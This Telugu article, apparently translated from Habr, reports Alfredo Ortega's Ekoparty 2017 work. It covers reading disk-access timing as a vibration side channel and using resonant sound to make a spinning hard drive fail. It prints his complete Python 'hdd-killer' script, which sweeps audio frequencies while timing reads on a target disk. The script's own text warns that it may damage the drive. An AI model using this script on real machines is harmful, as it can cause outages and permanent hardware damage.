బ్యూనస్ ఎయిర్స్‌లో జరిగిన ఎకోపార్టీ 2017 కంప్యూటర్ సెక్యూరిటీ కాన్ఫరెన్స్‌లో, అర్జెంటీనా హ్యాకర్ ఆల్ఫ్రెడో ఒర్టెగా చాలా ఆసక్తికరమైన అభివృద్ధిని చూపించాడు - మైక్రోఫోన్‌ని ఉపయోగించకుండా ప్రాంగణంలోని రహస్య వైర్‌టాపింగ్ వ్యవస్థ. ధ్వని నేరుగా హార్డ్ డ్రైవ్‌లో రికార్డ్ చేయబడింది!

HDD ప్రధానంగా అధిక-తీవ్రత తక్కువ-పౌనఃపున్య శబ్దాలు, అడుగుజాడలు మరియు ఇతర వైబ్రేషన్‌లను గ్రహిస్తుంది. శాస్త్రవేత్తలు అయినప్పటికీ మానవ ప్రసంగం ఇంకా గుర్తించబడలేదు ఈ దిశగా పరిశోధనలు చేస్తున్నారు (తక్కువ-ఫ్రీక్వెన్సీ వైబ్రేషన్ల ద్వారా ప్రసంగ గుర్తింపు, ఉదాహరణకు, గైరోస్కోప్ లేదా HDD నుండి రికార్డ్ చేయబడతాయి).

ధ్వని అనేది గాలి లేదా మరొక మాధ్యమం యొక్క కంపనం. ఒక వ్యక్తి చెవిపోటు ద్వారా వాటిని గ్రహిస్తాడు, ఇది లోపలి చెవికి కంపనాలను ప్రసారం చేస్తుంది. మైక్రోఫోన్ సుమారుగా చెవిలాగా రూపొందించబడింది - ఇక్కడ కూడా, వైబ్రేషన్‌లు ఒక సన్నని పొర ద్వారా రికార్డ్ చేయబడతాయి, ఇది విద్యుత్ ప్రేరణను ఉత్తేజపరుస్తుంది. హార్డ్ డ్రైవ్, వాస్తవానికి, పరిసర గాలిలో హెచ్చుతగ్గుల కారణంగా మైక్రోస్కోపిక్ వైబ్రేషన్లకు కూడా లోబడి ఉంటుంది. ఇది HDDల యొక్క సాంకేతిక లక్షణాల నుండి కూడా తెలుసు: తయారీదారులు సాధారణంగా గరిష్టంగా అనుమతించదగిన కంపన స్థాయిని సూచిస్తారు మరియు హార్డ్ డ్రైవ్ తరచుగా రబ్బరు లేదా ఇతర ఇన్సులేటింగ్ మెటీరియల్‌తో తయారు చేయబడిన కంపన-ప్రూఫ్ కంటైనర్‌లో ఉంచడానికి ప్రయత్నిస్తుంది. దీని నుండి HDDని ఉపయోగించి శబ్దాలను రికార్డ్ చేయవచ్చని నిర్ధారించడం సులభం. ఎలా అని గుర్తించడమే మిగిలి ఉంది.

ఆల్ఫ్రెడో ఒర్టెగా ఒక సైడ్-ఛానల్ దాడి యొక్క ప్రత్యేకమైన సంస్కరణను ప్రతిపాదించాడు, అవి టైమ్ అటాక్. ఇచ్చిన ఇన్‌పుట్ డేటా ఆధారంగా పరికరంలో వేర్వేరు సమయాల్లో వేర్వేరు ఆపరేషన్‌లు జరుగుతాయనే ఊహ ఆధారంగా ఈ దాడి జరిగింది. ఈ సందర్భంలో, “ఇన్‌పుట్ డేటా” అనేది రీడింగ్ హెడ్ మరియు HDD ప్లాటర్ యొక్క కంపనాలు, ఇది పర్యావరణం యొక్క కంపనాలతో, అంటే ధ్వనితో పరస్పర సంబంధం కలిగి ఉంటుంది. అందువలన, గణన సమయాన్ని కొలవడం మరియు డేటా యొక్క గణాంక విశ్లేషణ చేయడం ద్వారా, తల/ప్లాటర్ యొక్క కంపనాలను మరియు అందువల్ల మాధ్యమం యొక్క ప్రకంపనలను కొలవడం సాధ్యమవుతుంది. డేటాను చదవడంలో ఎక్కువ ఆలస్యం, HDD వైబ్రేషన్‌లు బలంగా ఉంటాయి మరియు అందువల్ల, ధ్వని బిగ్గరగా ఉంటుంది.

హార్డ్ డ్రైవ్ వైబ్రేషన్‌ను ఎలా కొలవాలి? చాలా సులభం: సిస్టమ్ కాల్‌ని అమలు చేయండి read () - మరియు పూర్తి చేయడానికి పట్టే సమయాన్ని రికార్డ్ చేయండి. ఆధునిక ఆపరేటింగ్ సిస్టమ్‌లు నానోసెకండ్ ఖచ్చితత్వంతో సిస్టమ్ కాల్‌ల సమయాన్ని చదవడానికి మిమ్మల్ని అనుమతిస్తాయి.

ఒక సెక్టార్ నుండి సమాచారాన్ని చదివే వేగం హెడ్ మరియు ప్లాటర్ యొక్క స్థానంపై ఆధారపడి ఉంటుంది, ఇది HDD కేసు యొక్క వైబ్రేషన్‌లతో సహసంబంధం కలిగి ఉంటుంది. అంతే.

సాధారణ Kscope యుటిలిటీని ఉపయోగించి గణాంక విశ్లేషణ నిర్వహించబడుతుంది. వారు చెప్పినట్లు, తెలివిగల ప్రతిదీ సులభం.

Kscope యుటిలిటీ (stat() syscal)

Kscope అనేది సిస్టమ్ కాల్ ఎగ్జిక్యూషన్ సమయాలలో చిన్న తేడాలను విజువలైజ్ చేయడానికి ఒక చిన్న యుటిలిటీ. మూలంGitHubలో ప్రచురించబడింది.

ప్రత్యేక రిపోజిటరీలో HDD-సమయం హార్డ్ డ్రైవ్‌పై సమయ దాడి కోసం కాన్ఫిగర్ చేయబడిన యుటిలిటీ యొక్క సంస్కరణ ఉంది, అంటే సిస్టమ్ కాల్‌ను విశ్లేషించడానికి కాన్ఫిగర్ చేయబడింది read ().

HDDని ఉపయోగించి సౌండ్ రికార్డింగ్ యొక్క ప్రదర్శన, Kscope యుటిలిటీ యొక్క ఆపరేషన్

వాస్తవానికి, ప్రసంగాన్ని ఈ విధంగా అర్థం చేసుకోలేము, కానీ HDD వైబ్రేషన్ సెన్సార్‌గా చాలా అనుకూలంగా ఉంటుంది. ఉదాహరణకు, గట్టి బూట్లు లేదా చెప్పులు లేని వ్యక్తి కంప్యూటర్ ఉన్న గదిలోకి ప్రవేశించినట్లయితే మీరు నమోదు చేసుకోవచ్చు (బహుశా, దాడి చేసే వ్యక్తి మృదువైన స్నీకర్లను ధరించి ఉంటే లేదా నేలపై మందపాటి కార్పెట్ ఉంటే, HDD వైబ్రేషన్‌లను నమోదు చేయదు - ఇది తనిఖీ చేయదగినది). కంప్యూటర్ విరిగిన గాజు లేదా ఇతర సంఘటనలను బలమైన ధ్వని తీవ్రతతో నమోదు చేయగలదు. అంటే, హార్డ్ డ్రైవ్ ఒక రకమైన అనధికార చొరబాటు గుర్తింపు వ్యవస్థగా ఉపయోగపడుతుంది.

HDD కిల్లర్

యాదృచ్ఛికంగా, హార్డ్ డ్రైవ్‌లను నిలిపివేయడానికి కూడా ఇలాంటి పద్ధతినే ఉపయోగించవచ్చు. అయితే, ఇక్కడ మనం HDD నుండి వచ్చే కంపనాలను సంగ్రహించకుండా, వాటికి కంపనాలను ఉత్పత్తి చేసి HDDకి అందిస్తాము. ఒకవేళ మీరు స్పీకర్ నుండి HDD ఫ్రీక్వెన్సీతో ప్రతిధ్వనించే ఫ్రీక్వెన్సీలో ఆడియోను ప్లే చేస్తే, సిస్టమ్ వెంటనే I/O ఎర్రర్ (కెర్నల్)తో ఆ పరికరాన్ని షట్ డౌన్ చేస్తుంది. Linux (ఇది 120 సెకన్ల తర్వాత HDDని పూర్తిగా ఆపివేస్తుంది.) హార్డ్ డ్రైవ్ కోలుకోలేని విధంగా దెబ్బతినవచ్చు.

కోర్ Linux Edifier r19u USB స్పీకర్ ద్వారా రెసొనెంట్ ఫ్రీక్వెన్సీలో 120 సెకన్ల పాటు ధ్వనిని ప్లే చేసిన తర్వాత హార్డ్ డ్రైవ్ షట్ డౌన్ అయింది. స్పీకర్‌ను దాని శక్తిలో సుమారు నాలుగో వంతు (100 mW కంటే తక్కువ) వద్ద ఆన్ చేసి, ప్రకంపనలను పెంచడానికి టేబుల్ వైపు చూపిస్తూ, HDD నుండి 20 సెం.మీ. దూరంలో ఉంచారు. చిత్రం నుండి స్టిల్. వీడియో HDD కిల్లర్ యొక్క ప్రదర్శనతో

HDD లపై ఇటువంటి "దాడులు" కొన్నిసార్లు రోజువారీ జీవితంలో పూర్తిగా ప్రమాదవశాత్తు జరుగుతాయని ఆసక్తికరంగా ఉంది. ఉదాహరణకు, సెప్టెంబరు 2016లో, ఫైర్ డ్రిల్ తర్వాత 10 గంటల పాటు ING బ్యాంక్ డేటా సెంటర్ కార్యకలాపాలను నిలిపివేయవలసి వచ్చింది. డజన్ల కొద్దీ హార్డ్ డ్రైవ్‌లు విఫలమయ్యాయి అధిక పీడనం కింద సిలిండర్ల నుండి విడుదలయ్యే జడ వాయువు యొక్క పెద్ద శబ్దం కారణంగా. ధ్వని చాలా బిగ్గరగా ఉంది (130 dB కంటే ఎక్కువ), కానీ మీరు హార్డ్ డ్రైవ్‌లలో కూడా అరవలేరు - ఇది HDDని యాక్సెస్ చేయడంలో ఆలస్యాన్ని పెంచుతుంది.

డేటా సెంటర్‌లో హార్డ్ డ్రైవ్‌ల వద్ద మానవ అరుపుల ప్రదర్శన. జాప్యం కొలత

ప్రతిధ్వనించే ధ్వనిని రూపొందించడానికి, ఆల్ఫ్రెడో ఒర్టెగా అనే పైథాన్ స్క్రిప్ట్‌ను రాశారు hdd-కిల్లర్ (వీడియో ప్రదర్శన).

HDD కిల్లర్ స్క్రిప్ట్ ఇది చాలా చిన్నది, కాబట్టి మీరు దీన్ని పూర్తిగా ఇక్కడ ప్రచురించవచ్చు.

"""PyAudio hdd-killer: Generate sound and interfere with HDD """
"""Alfredo Ortega @ortegaalfredo"""
"""Usage: hdd-killer /dev/sdX"""
"""Where /dev/sdX is a spinning hard-disk drive"""
"""Turn the volume to the max for better results"""
"""Requires: pyaudio. Install with 'sudo pip install pyaudio' or 'sudo apt-get install python-pyaudio'"""

import pyaudio
import time
import sys
import math
import random

RATE=48000
FREQ=50

# validation. If a disk hasn't been specified, exit.
if len(sys.argv) < 2:
    print "hdd-killer: Attempt to interfere with a hard disk, using sound.nn" +
	  "The disk will be opened as read-only.n" + 
          "Warning: It might cause damage to HDD.n" +
          "Usage: %s /dev/sdX" % sys.argv[0]
    sys.exit(-1)

# instantiate PyAudio (1)
p = pyaudio.PyAudio()
x1=0
NEWFREQ=FREQ

# define audio synt callback (2)
def callback(in_data, frame_count, time_info, status):
    global x1,FREQ,NEWFREQ
    data=''
    sample=0
    for x in xrange(frame_count):
        oldsample=sample
        sample=chr(int(math.sin(x1*((2*math.pi)/(RATE/FREQ)))*127)+128)
        data = data+sample
        # continous frequency change
        if (NEWFREQ!=FREQ) and (sample==chr(128)) and (oldsample<sample) :
                FREQ=NEWFREQ
                x1=0
        x1+=1
    return (data, pyaudio.paContinue)

# open stream using callback (3)
stream = p.open(format=pyaudio.paUInt8,
                channels=1,
                rate=RATE,
                output=True,
                stream_callback=callback)

# start the stream (4)
stream.start_stream()

# wait for stream to finish (5)
while stream.is_active():
    timeprom=0
    c=file(sys.argv[1])
    for i in xrange(20):
        a=time.clock()
        c.seek(random.randint(0,1000000000),1) #attempt to bypass file buffer
        c.read(51200)
        b=time.clock()
        timeprom+=b-a
    c.close()
    timeprom/=20
    print("Frequency: %.2f Hz File Read prom: %f us" % (FREQ,timeprom*1000000))
    NEWFREQ+=0.5

# stop stream (6)
stream.stop_stream()
stream.close()

# close PyAudio (7)
p.terminate()

మూలం: www.habr.com